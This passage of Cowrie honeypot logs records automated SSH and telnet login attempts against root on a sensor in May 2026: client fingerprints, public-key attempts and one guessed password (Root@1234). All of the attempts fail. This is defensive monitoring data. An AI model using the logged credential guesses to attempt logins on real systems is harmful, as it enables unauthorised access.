failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.461514Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:ad:65:a3:3a:26:81:5b:69:bb:05:01:db:16:d5:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxuhq0bAA2aVg7nMlXQ0WqWZWJOeBSyLYE37aM5n5JrMvhYVqgInwqJmXW9XOllqMp7PQA1ShX8+Q7z3yIyxKcYlBYevwmtutm+ZtrbfzV8HjSuMUDjTYun6aDVBCepdOEzOimWLpzkGv6GI7fIasEFWUE3B8MTaLSleJpsfsg8S00DC4QNvrKWSs9YYtqFoQjLBZaU896tbIHHgI3yzafY2AodHZPk/64sYphkDSrIwitJOBEPZAQOBXKL/AmlDxefugLadaFd8So2oDSVOFotTJ7mJ5/HxgfUgwwnFdImMezDEDHBCdvUBzWH+r5VjCy1RzQWoC6UW800nrdm5X1zvJNT9DYKf92FXaoFkUUxKXekA02Q2slfDc19SfixmvD4bBA/qWAjWh7OhnWAvS7W55FuLTHCP5EuH9V6RIWh/v/y9uPxnI3nVFm2CzvsTUQZuiggQqMTrQeMxSMmVkyDcZsfg0cEs8m5nFj4nGQ8l/tOloFEuZJwHoXSzPGtdgsF7wNj8+BiWJXgDw9PxOj/FhdjkE/iQZ6w0Y1K2CV68FKlKdK0J8S6QCzPYY9kK69VwJ+ZMEAVpt3HaMxvqNe2mV40rFKuWwStlNd4S9p3XgaJx+VKf5/xTMeGKsg+2+4MA2CEkm6m+Ca1UwnvyL4dKdR6bM/4ui7uU6oWh3FKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:ad:65:a3:3a:26:81:5b:69:bb:05:01:db:16:d5:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.585021Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:ad:65:a3:3a:26:81:5b:69:bb:05:01:db:16:d5:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxuhq0bAA2aVg7nMlXQ0WqWZWJOeBSyLYE37aM5n5JrMvhYVqgInwqJmXW9XOllqMp7PQA1ShX8+Q7z3yIyxKcYlBYevwmtutm+ZtrbfzV8HjSuMUDjTYun6aDVBCepdOEzOimWLpzkGv6GI7fIasEFWUE3B8MTaLSleJpsfsg8S00DC4QNvrKWSs9YYtqFoQjLBZaU896tbIHHgI3yzafY2AodHZPk/64sYphkDSrIwitJOBEPZAQOBXKL/AmlDxefugLadaFd8So2oDSVOFotTJ7mJ5/HxgfUgwwnFdImMezDEDHBCdvUBzWH+r5VjCy1RzQWoC6UW800nrdm5X1zvJNT9DYKf92FXaoFkUUxKXekA02Q2slfDc19SfixmvD4bBA/qWAjWh7OhnWAvS7W55FuLTHCP5EuH9V6RIWh/v/y9uPxnI3nVFm2CzvsTUQZuiggQqMTrQeMxSMmVkyDcZsfg0cEs8m5nFj4nGQ8l/tOloFEuZJwHoXSzPGtdgsF7wNj8+BiWJXgDw9PxOj/FhdjkE/iQZ6w0Y1K2CV68FKlKdK0J8S6QCzPYY9kK69VwJ+ZMEAVpt3HaMxvqNe2mV40rFKuWwStlNd4S9p3XgaJx+VKf5/xTMeGKsg+2+4MA2CEkm6m+Ca1UwnvyL4dKdR6bM/4ui7uU6oWh3FKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.588641Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:76:ab:e2:ec:8f:75:2e:9b:74:a5:c5:6a:0d:9a:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv5aAbcI3j6Ygmdg024xSOTCgIZN1S910ZTFLL9722jjuegGap5IdcoaDp6v+j0F/1CVbScdUvW9w+2xjqZ9S3eZ/Ff8rDyEctDtKujuUMTGqyE7fgqJAKrSg7HZ8DC1Tni53nOK5M+qGEgYpUdqEIqj3+5aNMgpXbbXa8WIg93N1VqlGTUZPQzHDrfov5fIz4uHq3UwnS5NQ2Y/i3v8uPpPZVLzjaaVuUf1lCt3vIsJNTdNiwsKHQ2r3wwQj9gfwHBCKgYsY6McwY5rz2cuFkxXOTfRTlVoYKN42X/WhWAfgMn2Str8fy4+AQQ9vr4V9W1Irbvazox50Slq/pPniu6sufcKGZbOl9+j2gysBDA4WXW+wsD/urBn2bSY82KAptOZDy0Bk8kl/OtlDd1O3bQyQL+1llnKUqDXml/2CdHzYq9jCqhcG6QETX7CmbMNu4/X1e9d7c6vGa7dInsMr7DdiWWUBthdCRku9b2kH/3arf6P9/z/Mxhi5B3435ZYmtPN448qhgQxhXLZvsN3+CSKu4xEJjxuDGpnFhMDPlpMihgufxfNGiGWYtIz7Pn+GwXoxryivfQvwasNiNW7b9LjdZ8+PyxX3xYXgd8f0uy1gpJjm/ESEU4SnWvOyxmr7HaUJ09YUOe0Zod45FUckOZ1GJBT5bvidH0D9IHx+XKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:76:ab:e2:ec:8f:75:2e:9b:74:a5:c5:6a:0d:9a:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.708828Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:76:ab:e2:ec:8f:75:2e:9b:74:a5:c5:6a:0d:9a:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv5aAbcI3j6Ygmdg024xSOTCgIZN1S910ZTFLL9722jjuegGap5IdcoaDp6v+j0F/1CVbScdUvW9w+2xjqZ9S3eZ/Ff8rDyEctDtKujuUMTGqyE7fgqJAKrSg7HZ8DC1Tni53nOK5M+qGEgYpUdqEIqj3+5aNMgpXbbXa8WIg93N1VqlGTUZPQzHDrfov5fIz4uHq3UwnS5NQ2Y/i3v8uPpPZVLzjaaVuUf1lCt3vIsJNTdNiwsKHQ2r3wwQj9gfwHBCKgYsY6McwY5rz2cuFkxXOTfRTlVoYKN42X/WhWAfgMn2Str8fy4+AQQ9vr4V9W1Irbvazox50Slq/pPniu6sufcKGZbOl9+j2gysBDA4WXW+wsD/urBn2bSY82KAptOZDy0Bk8kl/OtlDd1O3bQyQL+1llnKUqDXml/2CdHzYq9jCqhcG6QETX7CmbMNu4/X1e9d7c6vGa7dInsMr7DdiWWUBthdCRku9b2kH/3arf6P9/z/Mxhi5B3435ZYmtPN448qhgQxhXLZvsN3+CSKu4xEJjxuDGpnFhMDPlpMihgufxfNGiGWYtIz7Pn+GwXoxryivfQvwasNiNW7b9LjdZ8+PyxX3xYXgd8f0uy1gpJjm/ESEU4SnWvOyxmr7HaUJ09YUOe0Zod45FUckOZ1GJBT5bvidH0D9IHx+XKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.712823Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:15:55:80:59:ba:d2:1f:50:6e:1a:52:f0:f6:14:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHoSxKyhyJarm8OplkWgFYAu+PVW1cNSSvWZieFZ87u9C1+i2R+GHPzUEEGscvzUpJWWGJaAan4kJ9XbiJm8+FsMIMeFGUjjb7ufBXmJbzQE8M5a1TAB00PL4nZrT+ZWxnkipryQtjgLrZ7GHRTJ6et2/zBTXpQQa1ADj9+HPMmv9LyjlBS/IkdB+KQmvAhfcXbq3HmL4qEoQJWTSHzcaaGZh4XkAWeuy+FBWkYvX9+vcE9OUBBYgJyQUl14M7/1SVSwV2QMBEkWTcE3A99yVmuQGdcbtXn3OUgcorw9870sy/Whc/Yjeo+Tm7kwt4L7Lhtx1YE8hKpwv+E8KstsorLQUihVQmwpA9im8+gomliJHk1WzdHZ/8xc9ZDq/Q+Kn5iYI13eQaQjLShh0JhXGSOxISoqTzzJNokzBYljYSoi74LlEa0caH+/XU2tAxxm7VZ/6Ay40Z1OSZVIWnUv+2RCaK6BkCZXyIiOCtNB16eEZJdTJxKPXigX3n+Xyj51o8Vfkf32zkBZCEejuNBm/gL9sXQ9vARDvy/XmESKwob4KTT5KELDL4ykJho+nSDQdbetsr9l5E1bEHhhatO3xlV4j6dV+6WlVvXhd3HRt0lt2UuIWpFBi3XIriV/lPQZS11k5V40MUgqIpWYeycmyDOCXZs19y+M/kpX3hAWetHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:15:55:80:59:ba:d2:1f:50:6e:1a:52:f0:f6:14:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.834362Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:15:55:80:59:ba:d2:1f:50:6e:1a:52:f0:f6:14:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHoSxKyhyJarm8OplkWgFYAu+PVW1cNSSvWZieFZ87u9C1+i2R+GHPzUEEGscvzUpJWWGJaAan4kJ9XbiJm8+FsMIMeFGUjjb7ufBXmJbzQE8M5a1TAB00PL4nZrT+ZWxnkipryQtjgLrZ7GHRTJ6et2/zBTXpQQa1ADj9+HPMmv9LyjlBS/IkdB+KQmvAhfcXbq3HmL4qEoQJWTSHzcaaGZh4XkAWeuy+FBWkYvX9+vcE9OUBBYgJyQUl14M7/1SVSwV2QMBEkWTcE3A99yVmuQGdcbtXn3OUgcorw9870sy/Whc/Yjeo+Tm7kwt4L7Lhtx1YE8hKpwv+E8KstsorLQUihVQmwpA9im8+gomliJHk1WzdHZ/8xc9ZDq/Q+Kn5iYI13eQaQjLShh0JhXGSOxISoqTzzJNokzBYljYSoi74LlEa0caH+/XU2tAxxm7VZ/6Ay40Z1OSZVIWnUv+2RCaK6BkCZXyIiOCtNB16eEZJdTJxKPXigX3n+Xyj51o8Vfkf32zkBZCEejuNBm/gL9sXQ9vARDvy/XmESKwob4KTT5KELDL4ykJho+nSDQdbetsr9l5E1bEHhhatO3xlV4j6dV+6WlVvXhd3HRt0lt2UuIWpFBi3XIriV/lPQZS11k5V40MUgqIpWYeycmyDOCXZs19y+M/kpX3hAWetHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.838526Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:30.961870Z","src_ip":"200.26.188.219","session":"f864b3158806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53930,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ab807caf7d0","protocol":"telnet","message":"New connection: 212.55.149.117:53930 (10.17.0.5:23) [session: 6ab807caf7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:46:45.831418Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33424,"dst_ip":"10.17.0.5","dst_port":22,"session":"aed190374da8","protocol":"ssh","message":"New connection: 103.15.226.202:33424 (10.17.0.5:22) [session: aed190374da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:14.588384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:14.593364Z","src_ip":"103.15.226.202","session":"aed190374da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:14.843990Z","src_ip":"103.15.226.202","session":"aed190374da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@1234","message":"login attempt [root/Root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:15.597686Z","src_ip":"103.15.226.202","session":"aed190374da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:16.855958Z","src_ip":"103.15.226.202","session":"aed190374da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.237.147.156","src_port":23272,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2f8dcae3c19","protocol":"ssh","message":"New connection: 104.237.147.156:23272 (10.17.0.5:22) [session: c2f8dcae3c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.304567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.309569Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.318524Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:31:27:9c:fb:a7:8a:e6:9b:c8:30:a7:12:23:2b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy1aPbhq+YBQhBuyXy02QgEraVrTRcIQFRqP/yoCR7lBj9HVxzuCqCSSpdV3qoUt5aSaXo3I4uzh3U4YhTZBFKHiVXL7ndr2sL/3suFrbJzuMswIQ3STVHAd0ZWiuY72C4njkHfgcGM0Xs3njma3yZglChSrzEiM2/EhtRMOET1xmtkauQfnoqV7G9T/hoHEpMCb92QpfmjtEI5FTsKdtUw0FO8XFoh155pV3cVqiaYpVLUB704pcXvebtnqAoFQBvx1GlbzmLiwpISWeIp7T5X5shvACECf/4Q7pJqCiR4JcdZ6FC0qEYROFqDuNKyBipD1o41/amAn6ZJzkPInuiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:31:27:9c:fb:a7:8a:e6:9b:c8:30:a7:12:23:2b:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.340653Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:31:27:9c:fb:a7:8a:e6:9b:c8:30:a7:12:23:2b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy1aPbhq+YBQhBuyXy02QgEraVrTRcIQFRqP/yoCR7lBj9HVxzuCqCSSpdV3qoUt5aSaXo3I4uzh3U4YhTZBFKHiVXL7ndr2sL/3suFrbJzuMswIQ3STVHAd0ZWiuY72C4njkHfgcGM0Xs3njma3yZglChSrzEiM2/EhtRMOET1xmtkauQfnoqV7G9T/hoHEpMCb92QpfmjtEI5FTsKdtUw0FO8XFoh155pV3cVqiaYpVLUB704pcXvebtnqAoFQBvx1GlbzmLiwpISWeIp7T5X5shvACECf/4Q7pJqCiR4JcdZ6FC0qEYROFqDuNKyBipD1o41/amAn6ZJzkPInuiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.343857Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:6a:11:da:03:ae:09:d2:2e:fe:6f:b8:ba:fe:c0:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+KJ4UI0Oe/wJ59PE10JZXtnSMcmcVLzTDeLcvmSMAYkt5lxOlY3cnM5tCmBcii+efgwFz/9Z/igd0U/nYtorqQn8y38GADFwSgv3+JfgKz+izT90G7g4aMrOVHidO2y1/2EnDsxiSXRNuTj9mCB718G5fRMb0s8tNP7Mz9szKqMptVTl+1eaqTjG9IGStB1vFBAC1D8SVytp1L/2WM85m1jXidrCkhY/Psl31gH/iIV9M55uTBVLoKuBnMs9ASrbwwLWxJOLLkooNmitYsh/HkiK4qJ9YN34Z4UvbwTtOf0xaH6CbLnz/Cky9O4tgAU36MjDwtVZfytaOJfjk2lut","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:6a:11:da:03:ae:09:d2:2e:fe:6f:b8:ba:fe:c0:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.352870Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:6a:11:da:03:ae:09:d2:2e:fe:6f:b8:ba:fe:c0:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+KJ4UI0Oe/wJ59PE10JZXtnSMcmcVLzTDeLcvmSMAYkt5lxOlY3cnM5tCmBcii+efgwFz/9Z/igd0U/nYtorqQn8y38GADFwSgv3+JfgKz+izT90G7g4aMrOVHidO2y1/2EnDsxiSXRNuTj9mCB718G5fRMb0s8tNP7Mz9szKqMptVTl+1eaqTjG9IGStB1vFBAC1D8SVytp1L/2WM85m1jXidrCkhY/Psl31gH/iIV9M55uTBVLoKuBnMs9ASrbwwLWxJOLLkooNmitYsh/HkiK4qJ9YN34Z4UvbwTtOf0xaH6CbLnz/Cky9O4tgAU36MjDwtVZfytaOJfjk2lut","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.356967Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:8c:db:09:85:3b:b5:e9:2d:9b:77:3f:58:51:66:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNilGwc4P5dbXwJONHH7E+Wjd85Ojj7kB5yNZcqpd889xKaEeB5tEu7+ADi+IMNcBcU/sT7bGR7zB1G0LHO7WjFl38PCfxIWsrqgAgrr/jT/4iHZ7txHZBNuwn6XfGcl9iEsAX/tECmk3Z/CygwWpBg85asrNyW4T9UhixEKZA+IcbCK2CkkCjmS62pPek5y72+NotnQuwYpS6yytndy+R4RyH4l0P7RXH/FQT44MlEOeCN9sW5cy9wIF+W4Fy+BxFim4Cxkq8KR6uggli5Obzstl3yeLv9X26Wi592dJKeAfhFd/cf9AClW86wIwYAj5FdwzvTHzP7oyUrAGHlIyX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:8c:db:09:85:3b:b5:e9:2d:9b:77:3f:58:51:66:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.369781Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:8c:db:09:85:3b:b5:e9:2d:9b:77:3f:58:51:66:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNilGwc4P5dbXwJONHH7E+Wjd85Ojj7kB5yNZcqpd889xKaEeB5tEu7+ADi+IMNcBcU/sT7bGR7zB1G0LHO7WjFl38PCfxIWsrqgAgrr/jT/4iHZ7txHZBNuwn6XfGcl9iEsAX/tECmk3Z/CygwWpBg85asrNyW4T9UhixEKZA+IcbCK2CkkCjmS62pPek5y72+NotnQuwYpS6yytndy+R4RyH4l0P7RXH/FQT44MlEOeCN9sW5cy9wIF+W4Fy+BxFim4Cxkq8KR6uggli5Obzstl3yeLv9X26Wi592dJKeAfhFd/cf9AClW86wIwYAj5FdwzvTHzP7oyUrAGHlIyX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.373907Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSdOXsovp5yIYs09kOO+JuY2DwrhoywAn9JkiRgkj+qVG7GiMtYfWZjvPjfDPSxhiGUfjgiE/roTPE2WrjYZxM5guuyH3e6w65Meqn4NVeTo5GpUWbujRWsjg46/2mO56YO9D39A5G5tLDFQ0sW9zDtW1/bMKk7uMoISWA80uYnsdavMli3wvQZqYCMDQsoPOGgZoPxvVwxXztkZ40tD8RCuw7ZOD8aQHzM7QZ1D6aMR65GMx9cGTHZxFSq6FFka/Q1zUlvDmJmqvfS8tWoafqMt9sMbqIVBRswwThOl2MVU+CUX9pIBfxie0Po7r+Wdfo7EdxJIL76eu0Q1m4hsf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.382251Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSdOXsovp5yIYs09kOO+JuY2DwrhoywAn9JkiRgkj+qVG7GiMtYfWZjvPjfDPSxhiGUfjgiE/roTPE2WrjYZxM5guuyH3e6w65Meqn4NVeTo5GpUWbujRWsjg46/2mO56YO9D39A5G5tLDFQ0sW9zDtW1/bMKk7uMoISWA80uYnsdavMli3wvQZqYCMDQsoPOGgZoPxvVwxXztkZ40tD8RCuw7ZOD8aQHzM7QZ1D6aMR65GMx9cGTHZxFSq6FFka/Q1zUlvDmJmqvfS8tWoafqMt9sMbqIVBRswwThOl2MVU+CUX9pIBfxie0Po7r+Wdfo7EdxJIL76eu0Q1m4hsf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.385461Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:82:bc:d6:08:d2:a3:e5:08:6f:1c:06:b3:1f:19:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbBB0jzC8ZLEvNF9SEmjKcS5tsDcxb01CKJiZW1PC7TJ+vXFRW8uVUNG6vhq6yzcAktmzORzeyiKCGgVeOBXIYxe8Vhp5f3JRoNQ8ryuSKk8zdRQtY323erqqc8CsxNtmmSppT5H35ADmZ7FgidTq4cIPtoqsCMTRP6V8hdb3QE21Bx4sylID8lO/S6EelmQ8WZ1YHJwZRJ422LZF+k9925p0Zu6voBgxdTLWup+/TNnzJOrhilgbcqDmllfk6b+azVwEURow1YwpFD0B+5WSABapSkWhIUfHy8hJiBWeZhKtDEbSJhBETmrT424Hh7NDGxm/P73uCmppGekl+rHfB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:82:bc:d6:08:d2:a3:e5:08:6f:1c:06:b3:1f:19:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.393137Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
